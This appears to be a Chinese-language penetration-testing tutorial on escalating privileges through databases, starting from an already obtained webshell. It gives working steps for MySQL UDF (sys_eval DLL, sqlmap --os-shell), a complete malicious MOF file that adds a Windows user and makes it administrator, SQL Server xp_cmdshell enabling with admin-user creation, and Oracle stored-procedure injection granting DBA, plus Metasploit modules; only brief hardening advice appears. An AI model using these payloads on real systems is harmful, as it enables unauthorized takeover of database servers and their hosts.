数据库提权

mysql提权概述

分类
  • 功能型:udf提权
  • 技巧型:启动项提权
  • 漏洞型:mof提权

mysql之UDF提权

原理分析:

UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数,它是用来拓展MySQL的技术手段,可以说是数据库功能的一种扩展,用户通过自定义函数来实现在MySQL中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像本机函数如ABS()或SOUNDEX()一样方便。

动态链接库:是把程序代码中会使用的函数编译成机器码,不过是保存在.dll文件中。另外在编译时,不会把函数的机器码复制一份到可执行文件中。编译器只会在.exe的执行文件里,说明所要调用的函数放在哪一个*.dll文件。程序执行使用到这些函数时,操作系统会把dll文件中的函数拿出来给执行文件使用

udf是Mysql类提权的方式之一。前提是已知mysql中root的账号密码,我们在拿到webshell后,可以看网站根目录下的config.php里,一般都有mysql的账号密码。利用root权限,创建带有调用cmd函数的’udf.dll’(动态链接库)。当我们把’udf.dll’导出指定文件夹引入Mysql时,其中的调用函数拿出来当作mysql的函数使用。这样我们自定义的函数才被当作本机函数执行。在使用CREAT FUNCITON调用dll中的函数后,mysql账号转化为system权限,从而来提权。

提权常见手法:

一般来说使用udf提权的常规手法:

  • 上传大马webshell,利用大马中的UDF提权功能完成提权。
  • 反弹shell,进而获取交互式tty shell,在shell中连接本地数据库,从而完成UDF提权。
  • 利用FuckMySQL,本地执行命令。FuckMySQL项目针对Windows平台。
  • 利用SQLMAP中的-d参数连接远程数据库,自动上传so库完成UDF提权,从而获取os-shell
  • 使用Navicat等数据库管理工具连接远程数据库,从而完成UDF提权。

其实这些手法的主要目的都是想方设法登陆数据库服务来执行SQL语句,进而获取到启动MySQL服务的root权限,

提权的一些前提:

利用udf提权有一些利用的先决条件:

  • MySQL 数据库没有开启安全模式。
  • 已知的数据库账号具有对 MySQL 数据库 insert 和 delete 的权限,最好是 root 最高权限。
  • shell 有写入到数据库安装目录的权限。

高版本mysql(mysql Version>5.7)遇到的一些问题:

  • secure-file-priv默认不为空,即不允许在任意文件夹中导出文件;

    如果对方开启了安全模式,我们是无法利用这个办法进行提权的,所以,为了完成今天的浮现,我们需要关闭安全模式。

    1
    secure_file_priv=""
    1
    将这个代码插入到 mysql 配置文件的最后,重启服务,便可以关闭安全模式。
  • 默认root用户使用的authentication-plugins为auth_socket,即在本地登录MySQL时使用unix套接字登录,而非密码;

  • mysql.user下password列更改为authentication_string列。

提权复现

首先通过各种手段获取一个网站的webshell,使用菜刀连接。

这个时候获取到的权限往往是一个低用户权限,我们尝试使用udf数据库提权

我们这里上传一个暗月的mysql数据库提权大马,命名为dama.php

https://github.com/tennc/webshell这个里面包含了很多webshell,里面还有几种mysql数据库提权马,也可以试试(建议下到虚拟机里!!!!!)

直接网页访问,提示我们需要数据库密码,这里我们可以到网站下数据库配置文件找下config.php

登录后,发现这里直接给出了一些数据库版本为:5.5.53

还可以执行数据库命令:

这里补充一个点:

  • 如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下
  • 如果mysql版本小于5.1,udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录

但是mysql默认状态下没有这个文件夹,需要我们自行创建。

用NTFS ADS流模式突破进而创建文件夹

1
2
3
select @@basedir;  //查找到mysql的目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION'; //利用NTFS ADS创建plugin目录

我直接在菜刀下创建plugin文件夹

然后最关键的一步:导出UDF文件

导出后,再次尝试文件已经存在,说明导入成功。

现在只是把udf的动态链接库导出到指定文件夹,还不能使用里面的自定义函数。要想使用自定义函数,就要把udf.dll中的自定义函数引入。

引入sys_eval函数:

1
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'moonudf.dll'

其中,sys_eval函数是执行任意命令,并将输出返回函数的名字,moonudf.dll是你导出文件的名字;

之后使用命令模板即可执行命令:

1
select sys_eval('ipconfig)

也可以直接使用大马这里的功能选项:

其他udf提权方法:

msf udp模块

我们使用命令search udf即可看到udf提权payload

进入模块,看一下需要配置选项:

注:这里注意版本,适用于5.5.9以下,

sqlmap命令

使用SQLMAP的-d命令来连接服务并执行UDF提权语句;

1
sqlmap -d mysql://root:xxxxxx@VPS:3306/mysql --os-shell

mysql数据库提权之MOF提权

原理分析:

利用了c:/windows/system32/wbem/mof/目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行。

提权复现:

首先需要具备Mysql的root权限,我们还是使用上面菜刀连接获得的webshell

然后我们将nullevt.mof导入到一下可写目录

文件内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user test test /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

这里net user test test /add可以自定义,我们这里就是添加一个test用户。

之后我们使用sql语句将文件导入到c:/windows/system32/wbem/mof/

1
select load_file("C:/phpStudy/WWW/nullevt.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"

可以使用菜刀下的数据库管理工具执行

执行后,到win2003上查看用户:

之后我们可以将自定义的命令改为:

1
net.exe localgroup administrators test /add

即可对添加的用户进行提权。

其他mof提权方法:

msf mof提权

使用mysql_mof模块,有的版本不能成功,

上传mof.php

直接上传mof.php执行命令

我试了几次都失败了,这里应该需要开启mysql远程连接的功能。。。。

防范方法

​ Mysql Root权限MOF方法提权其前提条件是能够将上传的nullevt.mof复制到系统目录下,例如c:\windows\system32\wbem\mof中,如果无法复制则会提权失败。一般对Windows2003以下操作系统效果较好,Windows2008以上由于保护机制,较少能够成功。因此可以采取以下措施进行防范:

  • 在程序数据库连接文件中尽量不要使用Root帐号进行连接。
  • Root帐号使用强加密方式,采用字母大小写+数字+特殊字符,密码位数15位以上。
  • 对Mysql数据库的mysql数据库目录权限严格限制,IIS用户无法读写该文件。

SQL Server提权

原理分析

img

xp_cmdshell是Sql Server中的一个组件,我们可以用它来执行系统命令。

利用过程

利用前提:

  • getshell或者存在sql注入并且能够执行命令
  • sql server是system权限,sql server默认就是system权限。
  • 获取SA用户口令
获取SA用户口令方法
  • Webshell或源码获取,一般在网站的配置文件中有存放明文账号密码,常用配置文件名如:
1
2
3
4
5
6
7
8
9
10
11
conn.aspx
config.aspx
config.php
web.config
.........

一般格式如:

server=localhost;
UID=sa;
PWD=shadowflow

获得sa口令,即可通过我们上传的大马进行登录,获得sa相应权限

有了xp_cmdshell的话可以执行系统命令,该组件默认是关闭的,因此需要把它打开。

开启xp_cmdshell
1
2
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;
关闭xp_cmdshell
1
2
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell', 0;reconfigure
提权
1
2
exec master..xp_cmdshell 'net user test pinohd123. /add'    添加用户test,密码test
exec master..xp_cmdshell 'net localgroup administrators test add' 添加test用户到管理员组

Oracle数据库提权之注入存储过程提权

原理分析

SYS创建的存储过程存在sql注入。拥有create procedure权限的用户通过创建提权函数,将提权函数注入到存储过程中,于是该存储过程将调用这个提权函数来执行grant dba to quan命令,获得Oracle数据库dba权限

利用条件
  • SYS创建的存储过程存在sql注入(EG:CVE-2005-4832)
  • 用户拥有create procedure权限(用来创建函数)

提权步骤

假设有一个用户quan 只有 CONNECT 和 RESOURCE 权限

手工注入
  • 用户登陆后执行select * from session_privs查看权限
  • 创建函数,命令为grant dba to quan

grant execute on pwn to public;//赋予所有用户此函数的执行权限

1
2
3
4
5
6
7
8
9
10
SQL>create or replace function pwn return vaarchar2
authid current_user is pragma autonomous_transaction;
begin
execute immediate 'grant dba to quan';
return '';
end;
/

SQL>grant execute on pwn to public;
/

注入sys.dbms_cdc_subscribe.activate_subscription

1
2
3
4
5
6
SQL>begin
sys.dbms_cdc_subscribe.activate_subscription('''||quan.pwn()||''');
end;
/

SQL>set role dba;

执行select * from session_privs查看是否为dba权限

利用MSF注入

1.加载攻击模块

1
use auxiliary/sqli/oracle/dbms_cdc_subscribe.activate_subscription

2.配置参数

1
2
3
4
5
6
7
8
9
set dbuser quan

set dbpass quan123

set sid orcl

set rhost xxxxx

set sql grant dba to quan

3.run

Oracle数据库提权之通过utl_http.request存储过程提权

原理分析

Oracle9i~11gR2中dbms_xmlquery.newcontext()dbms_xmlquery.getxml()函数可以执行任意PL/SQL语句,利用这两个函数可以获得Oracle服务器的操作系统权限

利用条件
  • UTL_HTTP存储过程可用
  • Oracle9i~11gR2

提权步骤

  1. 创建Java包
  2. 创建存储过程MYJAVACMD
  3. 执行存储过程,成功添加用户

参考文章

https://www.cnblogs.com/0nc3/p/12081189.html

https://www.webshell.cc/4790.html

https://xz.aliyun.com/t/2719

https://blog.csdn.net/qq_26090065/article/details/81515355

https://xz.aliyun.com/t/7392#toc-10